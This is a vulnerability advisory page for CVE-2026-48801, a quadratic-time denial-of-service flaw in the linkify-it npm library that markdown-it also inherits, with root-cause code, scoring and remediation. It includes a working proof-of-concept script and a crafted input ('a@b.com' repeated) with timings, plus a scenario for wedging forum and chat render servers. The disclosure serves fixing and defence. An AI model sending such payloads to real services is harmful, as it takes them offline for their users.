Skip to main content

linkify-it CVE-2026-48801

| EUVDEUVD-2026-44454 HIGH
Inefficient Regular Expression Complexity (ReDoS) (CWE-1333)
2026-06-26 https://github.com/markdown-it/linkify-it GHSA-22p9-wv53-3rq4
8.7
CVSS 4.0 · Vendor: https://github.com/markdown-it/linkify-it
Share

Severity by source

Vendor (https://github.com/markdown-it/linkify-it) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Remote, low-complexity, unauthenticated trigger with no user interaction against services rendering untrusted input; impact is availability-only CPU exhaustion, so C:N/I:N/A:H.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Red Hat
7.5 MEDIUM
qualitative

Primary rating from Vendor (https://github.com/markdown-it/linkify-it).

CVSS VectorVendor: https://github.com/markdown-it/linkify-it

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
Analysis Updated
Jul 14, 2026 - 21:29 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jul 14, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Jul 14, 2026 - 21:22 NVD
8.7 (HIGH)
Source Code Evidence Fetched
Jun 26, 2026 - 21:20 vuln.today
Analysis Generated
Jun 26, 2026 - 21:20 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 12 npm packages depend on linkify-it (5 direct, 7 indirect)

Ecosystem-wide dependent count for version 5.0.1.

DescriptionCVE.org

Summary

LinkifyIt.prototype.match - the package's primary public API - has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time - textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

  • HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0)
  • Vulnerable function: LinkifyIt.prototype.match - index.mjs:528-554
  • Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match)
  • Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rules_core/linkify.mjs:57 when linkify:true
  • All versions affected - the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

js
LinkifyIt.prototype.match = function match (text) {
  const result = []
  let shift = 0
  let tail = shift ? text.slice(shift) : text

  while (this.test(tail)) {
    result.push(createMatch(this, shift))
    tail = tail.slice(this.__last_index__)   // <-- re-allocates remaining tail each iteration
    shift += this.__last_index__
  }

  if (result.length) return result
  return null
}

The loop iterates O(N) times (once per match). Each iteration:

  1. tail.slice() re-allocates a string of length |text| - shift - O(N) per iteration
  2. this.test(tail) runs three unanchored regex searches over the full new tail:
js
// index.mjs:444 - full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 - full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 - full-tail match
me = text.match(this.re.email_fuzzy)

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

js
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex - linear. The fuzzy branches don't follow this pattern.

Proof of concept

bash
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = 'a@b.com\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

bash
npm install markdown-it@14.1.1
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = 'a@b.com '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"
n=1000 bytes=8000   md.render=45ms
n=2000 bytes=16000  md.render=171ms
n=4000 bytes=32000  md.render=672ms
n=8000 bytes=64000  md.render=2636ms

Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().

Impact

  • Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
  • No confidentiality or integrity impact.

Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path - Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it - receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.

Suggested remediation

The fix is algorithmic - convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:

  1. Add the g flag to email_fuzzy, link_fuzzy, link_no_ip_fuzzy, host_fuzzy_test in lib/re.mjs
  2. Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail
  3. In match(), drop tail = tail.slice(...) entirely - advance a pos offset instead

The schema branch at index.mjs:428-440 is already structured this way - it's the in-repo precedent for the fix.

js
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
  const result = []
  let pos = 0
  while (this.testAt(text, pos)) {
    result.push(createMatch(this, 0))
    pos = this.__last_index__
  }
  return result.length ? result : null
}

Total cost becomes O(N): each character scanned at most once per regex across the whole loop.

Duplicate-risk analysis

  • Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories[])
  • Zero OSV entries (api.osv.dev/v1/query{})
  • markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline

This finding appears novel.

Note to maintainers

Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.

AnalysisAI

Denial of service in linkify-it (npm) through v5.0.0 lets remote unauthenticated attackers wedge a rendering worker by submitting tens of KB of repeated email/link-like text. The core public API LinkifyIt.prototype.match runs an O(N²) scan loop that re-slices the input and re-runs unanchored fuzzy regex searches once per match, so 64 KB of "a@b.com" burns ~2.5 s of single-threaded CPU and 128 KB ~10 s. The flaw is inherited by markdown-it (~21.6M weekly npm downloads) whenever linkify:true is set, exposing forums, chat, wikis and AI chat UIs; publicly available exploit code (a PoC in the GHSA advisory) exists, but there is no evidence of active exploitation.

Technical ContextAI

linkify-it is a small JavaScript library that auto-detects URLs, emails and fuzzy links in free text; it is the linkification engine behind markdown-it. The root cause is classed as CWE-1333 (Inefficient Regular Expression Complexity), but the maintainer and reporter both stress this is NOT catastrophic regex backtracking - it is an algorithmic (structural) O(N²) problem in the JS scan loop. In index.mjs:528-554, match() maintains a growing shift offset and calls tail.slice() each iteration (O(N) allocation) then test(), which runs three full-tail unanchored searches: host_fuzzy_test via text.search (index.mjs:444), link_fuzzy via text.match (:448) and email_fuzzy via text.match (:467). With one match consumed per iteration over N matches, total work is Σ(N - i·c) = O(N²). The adjacent schema-prefixed branch (index.mjs:428-440) already does this correctly using a g-flag RegExp advancing lastIndex, which is the in-repo precedent for the fix. CPE identifies the affected package as pkg:npm/linkify-it.

RemediationAI

Vendor-released patch: linkify-it 5.0.1 - upgrade the dependency directly, and for markdown-it deployments update the transitive resolution (e.g. npm audit fix, an override/resolution pinning linkify-it >=5.0.1, or a lockfile refresh) so the fixed version is actually installed. The fix reworks the scan to check each pattern separately using global (g-flag) regexes and drops the tail.slice()/internal cache, restoring O(N) behavior (commit 6be6d15e0641bf1daeaa977d500cabc743166159). Where immediate upgrade is not possible, the effective compensating control is to stop feeding large untrusted inputs through the fuzzy scanner: cap request/body and per-field input size before rendering (e.g. reject Markdown bodies over a few KB) - trade-off is rejecting legitimately long posts; disable linkify (set linkify:false in markdown-it) - trade-off is losing automatic URL/email linkification; or move rendering off the synchronous request path into a worker with a strict CPU/time budget - trade-off is added architectural complexity. Advisory and fix references: https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4 and https://github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Web and Scripting 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Web and Scripting 15 SP7 Not-Affected

Share

CVE-2026-48801 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy